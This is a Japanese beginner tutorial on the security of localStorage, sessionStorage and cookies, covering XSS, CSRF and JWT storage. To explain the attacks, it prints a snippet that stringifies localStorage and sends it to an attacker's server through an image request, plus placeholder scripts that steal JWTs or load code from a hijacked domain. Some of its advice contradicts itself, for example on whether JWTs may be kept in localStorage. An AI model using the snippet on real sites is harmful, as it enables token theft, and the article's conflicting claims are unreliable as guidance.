初学者様向けのJavaScriptでWebストレージを使用する上でのセキュリティ(安全性)などの基本的な知識を解説致します。
プロジェクト構築の過程で、権限認証のトークン、ユーザー情報、埋め込みポイントの数、スキン情報、顧客が構成した言語タイプなどの情報をローカルに保存する必要がある状況に遭遇することがよくあります。
一時的に保存して、不要なリクエストやブラウザの冗長な操作を避け、お客様の利便性を高めます。
その際に、データベースの複雑さを増すことなく、HTMLで何かを成し遂げたい場合があります。
クライアントによってローカルにデータを保存する新しい方法を提供します。
それはWebストレージとなります
またWebストレージは、LocalStorageとSessionStorageに分けられJavaScriptでアクセス可能です。
サーバーではなくブラウザにキーと値のペアで保存できます。
※ 当記事では、特にセキュリティの部分に焦点を当てていきます。
localStorageとは?
localStorageは特定のドメインのブラウザに情報のデータを長期間保存するためのWebストレージの一種です。
DOMストレージとも呼ばれる事もあります。
キーと値のペア、永続的なストレージの方法で保存されます。
つまり、localStorageはデータの永続性があり、localStorageに保存されているデータは期限切れになりません。
保存期間は開発者の好みによって異なります、1日もあれば1週間など制限はございません。
制限がないのでコードを使用して削除するか、ユーザーが手動で削除するまで保存されたままになります。
これは、タブまたはブラウザウィンドウを閉じてもデータが保持される事になります。
See the Pen JSのlocalStorage by dev.K | Webアプリ開発者 (@enjinia_f) on CodePen.
ブラウザを再度開いた時に利用が可能です。
Chromeを使用している場合は、devtoolの[アプリケーション]タブ -> [ストレージ] -> [ローカルストレージ]に入力したlocalStorageの値を確認できます。
・ 期限切れはありません
・ クライアントのみ
・ SSLをサポートしていません
・ HTTPリクエストごとにデータが転送されることはありません
・ 5MB制限(ブラウザで確認してください)
sessionStorageと Cookie
当初、WebはHTTPプロトコルを使用してメッセージを送信しておりました(HTTPの代わりにHTTPSを使用する必要があります)。
つまりステートレスは『 永続的な情報』を保存する事はありません。
HTTP Cookieは、Webサイトのサーバーが作成し、サイトにアクセスする新しいユーザーに送信するテキストファイルとなります。
接続するとサーバーはCookieに保存される情報を生成し、その情報にはお客様のコンピューターに固有のIDのラベルが付いています。
Cookieには、その特定のユーザーに固有の情報が含まれているので、そのユーザーを識別するために使用されます。
例えば、認識情報やショッピングする際のカート情報の保存です。
Cookieはハードドライブにテキストファイルとして保存されるため、重大なセキュリティリスクをもたらします。
侵入者は誰でもこれらのファイルを簡単に開いて、そこに含まれる情報を表示できます。
つまり、Cookieはユーザーによって簡単に改ざんされる可能性があります。
ですので、すべてのブラウザにはCookieを含む履歴をクリアするための設定が付属しています。
手動でユーザーはハードドライブに保存されているCookieのテキストファイルを見つけることができます。
ユーザーはそれらを編集および削除することを選択できます。
必要に応じてCookieを構成することもできます。
たとえば、ユーザーがブラウザタブを閉じると期限切れにするか、特定の期間だけ存在するように設定することが可能です。
また、サーバーに障害が発生した場合でも、Cookieから情報を取得できます。
・ 有効期限が異なります(サーバーまたはクライアントの両方が有効期限を設定可能です。)
・ HttpOnlyフラグがtrueの場合、クライアントはCookieにアクセスできません
・ SSLをサポートしています
・ 最大4KBの制限
・ サイバー攻撃を受けやすい
・ 認証関連のタスクを実行するのに適している
sessionStorage
セッションも一種のクッキーです。
sessionStorageオブジェクトは、1つのセッションのデータのみを格納することを除いて、localStorageオブジェクトと同じです。
同じページの別のタブには異なるストレージがあり、 ユーザーが特定のブラウザタブを閉じると、データは削除されます。
つまりsessionStorageデータはウィンドウタブごとに個別に保存され、保存されたデータは開いている限りそのウィンドウタブのページ間で保持されますが、他の場所には表示されません。
ウィンドウを閉じたらすぐにデータを削除したい場合、またはアプリケーションが別のウィンドウで開いた同じアプリケーションに干渉したくない場合は、sessionStorageを使用します。
つまり、特定のアクションを防ぐのにも役立ちます。たとえば、一部のユーザーが特定の購入を行うことを禁止するのに役立ちます。
sessionStorageに保存されるデータは、そのページのプロトコルとは異なります。
これは、HTTP経由でアクセスされたサイトに保存されたsessionStorageデータが、HTTPS経由でアクセスされた同じサイトに保存されたデータとは異なるオブジェクトに保存されることになります。
localStorageよりも少ない頻度で使用され、プロパティとメソッドは同じですが、はるかに制限されています。
・ ブラウザタブを閉じるとデータが失われます
・ クライアントのみ
・ SSLをサポートしていません
・ HTTPリクエストごとにデータが転送されることはありません
・ 5〜10 MBの制限(ブラウザで確認してください)
違い
WebストレージにはCookieよりも大きなストレージ容量があることをご存知でしょう。
したがって、クライアント側の大規模なデータを保存するには、CookieよりもWebストレージの方が常に適しています。
しかしセッションストレージとローカルストレージではデータ保存の永続性が異なるため、データを永続化する期間に応じて、どちらかを慎重に選択する必要があります。
Cookieを使用すると、TTLまたは有効期限を自動的に設定が可能となります。
HTTPリクエストとともにサーバーに転送されます。
この機能はWebストレージにはありません。
類似点は、CookieとWebストレージはどちらもキーと値のペアを文字列として保存し、最新のすべてのブラウザで十分にサポートされています。
Cookieはユーザーによってブロック可能であり、Webストレージもブロック可能です。
データを保存しないように選択可能となります。
セキュリティ
JavaScriptでWebStorageを扱う上で最も重要なことは、開発者が考えられるすべての違反をチェックし、新しい機能を開発する際に攻撃者から注意を払う責任があることです。
機密性の低い情報を保存する場合にのみ、ローカルストレージを使用する必要があります。
これは、サードパーティの個人が情報に簡単にアクセスできるためです。
サードパーティとは、企業、団体、機関などの第三者のことを指します。
JavaScriptは、全世界で最も危険な言語の1つであり、特にXSS攻撃に対して脆弱となっています。
特に、XSS攻撃は悪意のあるスクリプトをWebアプリケーションに挿入しますが、残念な事に「LocalStorage 」と「SessionStorage 」の両方がXSS攻撃に対して脆弱となっています。
XSSは(英: Cross Site Scripting)クロスサイトスクリプティングの略称です。
XSS攻撃では、攻撃者がWebサイトに悪意のあるスクリプトを挿入できる場合、攻撃者はローカルストレージに保存されているすべてのデータを取得し、それを自分のドメイン(サーバー)に送信することができます。
CookieはHTTPのみとしてマークでき、セッション中のユーザーのブラウザに対するXSS攻撃を制限しますが、これはXSS攻撃に対する完全な耐性を保証しているわけではありません。
以下のコードは、LocalStorageを使用してトークンを保存および取得する方法を示しています。
// tokenという名前の変数をLocalStorageに格納します localStorage.setItem("token", token); // その値を取得します const token = localStorage.getItem("token");
攻撃者が攻撃者側のサーバーにデータを送信する方法は、非常に簡単です。
攻撃者は、「JSON.stringify()」メソッドを使用して、LocalStorageオブジェクト全体をJSON文字列に変換します。
// LocalStorageオブジェクト全体をJSON文字列に変換します const data = JSON.stringify(localStorage); // 変換された文字列を攻撃者のサーバーに送信します new Image().src = "https://" + btoa(data);
指定されたURLで新しい画像を読み込み、URLは攻撃者側のサーバーのURLになります。
ブラウザがこのコードを実行すると、URLへのリクエストがトリガーされます。
このコードは、よくある手法の1つです。
したがって、開発者はWebStorageを使用する際に、セキュリティに関する注意点を常に意識し、攻撃者がWebアプリケーションに挿入する可能性のある悪意のあるスクリプトからアプリケーションを保護するために、適切な検証、サニタイズ、エスケープ処理を行うことが重要です。
例えば、入力フォームやURLクエリーパラメーターからの入力を受け取る場合、入力値を正しい形式に変換し、エスケープすることが必要です。
下記リストのように、WebStorageに保存するデータには機密性が高いものは保存しないようにしましょう
・ ユーザー名やパスワード
・ APIキー
・ 個人情報
・ セッションID
・ クレジット情報
・ アクセストークン
これら上記は仮に一時的に一瞬の保存であっても使用は避けて下さい。
「私のWebサイトは安全」だと思っているかもしれません。
しかし、もし機密情報をローカルストレージに保存する場合、世界で最も危険なストレージに保存していることになります。
Webサイトが技術的には安全で、攻撃者がWebサイトでJavaScriptコードを実行できなくても、開発者がそれを実現することは非常に困難です。
外部リンクを介して、攻撃者がWebサイトでJavaScriptを実行するリスクがあります。
それら例をリストとして示します。
・ GoogleAnalyticsへのリンク
・トラッキングコードへのリンク
・ ブートストラップへのリンク
・ JQueryまたはライブラリ/フレームワークへのリンク(CDN)
・ 広告コードへのリンク
また、ドメインの有効期限が切れたり使用できなくなったりすると、他の悪意のある攻撃者がそのドメインを悪用する可能性があります。
そのドメインを持っている人は、自分のWebページにスクリプトを埋め込んだWebページを引き継ぐことができます。
例えば、以下のようにスクリプトを埋め込んだWebページを引き継ぐことができます。
<body> <script src="http://xxxx.com/sdk/sdk.js"></script> </body>
攻撃者は、WebサイトにリンクされたJSファイルのコンテンツを変更できるようになるため、Webページ上の機密データを盗むために使用する可能性があります。
特に、認証されたユーザーのポータルまたはダッシュボードが制限されている場合は、さらに注意が必要です。
基本的なXSS攻撃は、フォーム入力を介してJavaScriptを挿入しようとします。
しかし、JavaScript攻撃で最も悪意のあるスクリプト実行は外部リンクからの、sessionStorageまたはlocalStorageに保存されているデータ取得です。
XSS攻撃が成功した場合は、攻撃者はアプリケーションコードまたはサイトのコードを完全に制御できます。
攻撃者側の管理下となってしまいます。
リンク切れの脆弱性を修正するために使用できる方法はたくさんございます。
最も簡単な方法は、人気のあるツールを使用してWebサイト上の期限切れのリンクを検出するようにして下さい。
リンクチェッカーなどを使用すれば、期限切れのリンクとドメインを簡単にチェックし指定されたターゲットのWebサイトがクロールされ、壊れたリンクが検索されます。
このように、Webサイトのセキュリティを強化するためには、外部リンクを適切に管理し、ドメインの有効期限を定期的にチェックすることが重要です。
XSS攻撃は、リンクだけでなく様々な手段で実行されることがあります。
この攻撃による実際の結果は深刻であり、攻撃者はアプリケーションが実行できるすべてのことを実行可能です。
・ クッキー情報の読み取り
・ ローカルに保存されたデータの読み取り
・ リモートサーバーへのリクエストの送信
・ ページコンテンツの読み取りと変更
Web開発者として、私たちはサードパーティのJavaScriptをWebサイトに組み込むことを避けることが望ましいと考えられます。
しかし、私たちが自分たちでコントロールしている部分にのみJavaScriptが含まれていることを確信することはできません。
したがって、機密性の高いデータをWebストレージに保存しないようにすることが重要です。
もし、機密データを保存する必要がある場合は、ユーザーのセッションIDを作成し、暗号で署名されたCookieに保存させます。
また、ローカルストレージは、サーバーにデータをプッシュする前に一時的にデータを保存するのに役立ちます。
これにより、機密性の高いデータが外部に漏洩するリスクを軽減することができます。
ブロガーやプログラマーとして、Webアプリケーションのセキュリティに対して十分な注意を払い、攻撃に対する防御策を実装することが必要です。
Webアプリケーションのセキュリティは、攻撃者による悪意ある操作から保護するために欠かせない重要な要素です。
アクセストークン
まずはJWTについて概要を説明します。
アクセストークンJWT(JSON Web Token)の略称となります。
アクセストークンJWTは、認証されたユーザーがAPIやWebアプリケーションなどのサーバーにアクセスする際に使用されるトークンです。
JWTは、JSON形式でエンコードされたトークンであり、ヘッダー、ペイロード、署名の3つのセクションから構成されています。
トークンは、一度生成されたら改ざんできないように署名されます。
これにより、アクセストークンJWTは、認証されたユーザーであることを証明します。
アクセストークンを取得するためには、まず認証を行い、その認証が成功した場合にトークンを取得します。
トークンは、クライアントがサーバーに対してAPIリクエストを送信する際に、HTTPリクエストヘッダーに含めて送信されます。
アクセストークンJWTは、トークンの有効期限を設定することができるため、セキュリティが向上します。
また、トークンが有効期限内であるかどうかを検証することもでき、これによりアクセス権が取り消された場合に自動的にトークンが無効化されるようになります。
認証が必要な追加のリクエストでJWTを提供する場合は、「Http Only Cookie」に保存することが推奨されています。
これは、localStorageよりもはるかに安全な方法です。
localStorageはXSS攻撃に対して脆弱であり、スクリプトが実行されると管理者のJWTが盗まれます。
<div> ブログ記事の作成 <script>functionToReadYourJWTandSendItToMe()</script> </div>
管理者がブログ投稿を受け入れ、それがWebサイトのホームページに表示されると、ページを開くすべての訪問者に対してスクリプトが実行されます。
これにより、すべてのJWTが盗まれる可能性があります。
「Http Only Cookie」は、JavaScriptからアクセスできないため、XSS攻撃に対して安全です。
また、サーバーからのレスポンスの一部として、Cookieがクライアントに送信されます。
クライアントは、後続のリクエストにCookieを含めることができます。これにより、認証されたユーザーはアプリケーションにアクセスできます。
しかし、CSRF攻撃を受けやすくなります。
CSRFは(英: Cross Site Request Forgery) クロス・サイト・リクエスト・フォージェリの略称です。
シーサーフと発音されることもあります。
CSRF(Cross Site Request Forgery、クロスサイトリクエストフォージェリ)とは、攻撃者が悪意のあるWebサイトを使用して、標的のWebサイト上でリクエストを実行する攻撃手法のことです。
この攻撃は、ユーザーが操作したり知っていたりする必要がありません。
攻撃者は、ログインCSRFを利用して、被害者の個人データを盗むことができます。
ログインCSRFとは、被害者を認証されていない攻撃者が制御するアカウントにログインさせる方法のことです。
開発者は、OAuth 2.0を使用することで、ユーザー名やパスワードを非公開にし、アプリケーションと特定のデータを共有することができます。
ただし、トークンがクライアントサイドに保存されている場合、XSS攻撃を受けた場合には攻撃者に盗まれる可能性があります。
WebWorkerを使用して、トークン更新を処理することで、アクセストークンをメモリに保管することができます。
ただし、XSS攻撃を受けた場合、攻撃者は応答を傍受することができますので、十分に注意する必要があります。
JWTトークンは、XSS攻撃には脆弱ではありませんが、攻撃者が侵入する方法は常にあるため、安全性を保証するわけではありません。
XSS攻撃は、攻撃者がアプリケーションを完全に制御できることを理解しておく必要があります。
JavaScriptの動的な性質から、その時点で回復はありません。
したがって、XSS攻撃を防ぐためには、信頼できないすべてのデータをエスケープしてエンコードすることが必要です。
トークンの保存に関しては、なるべくメモリ内ストレージまたはWebWorkerオプションを使用しましょう。
基本的に、JWTをlocalStorageに保存することは問題ありません。
または、Cookieを使用してJWTトークンを保存することもできます。
ただし、常に安全で、httpOnlyと同じサイトフラグを使用する必要があります。
これらの設定により、クライアント側のデータが保護され、XSSおよびCSRF攻撃が防止されます。
また、フロントエンドコードでトークンを手動で使用する必要がなくなるため、Webアプリケーションが簡素化されます。
ただし、このような設定を行っても、根本的な問題解決にはつながらないため、コードレビューを欠かさず行うことが重要です。
最後に
Web Storageとして知られるSessionStorageとLocalStorageは、XSS攻撃に脆弱であることが知られています。
これらを使用する場合は、常にHTTPS経由でJWTを送信するようにし、HTTPでは送信しないように注意する必要があります。
LocalStorageにデータを保存すると、少なくともCSRF攻撃を防ぐことができます。
ただし、XSS攻撃に対しては保護されたCookieの方が少し優れています。
これは、XSS攻撃がユーザーがWebサイトにアクセスしている場合に限定されるためです。
ただし、Web Storageに対するXSS、CSRF攻撃に対する対策方法は複数存在します。
多くの場合、実装が簡単なlocalStorageを使用することが推奨されますが、適切な対策を講じることが重要です。
つまり、Web Storageを使用する場合は、適切な対策を講じることが重要であり、XSS、CSRF攻撃に注意する必要があります。
最終的には、どの対策を採用するかは、個々の要件に応じて判断する必要があります。
本日は以上となります。
最後までこの記事を読んで頂きありがとうございます。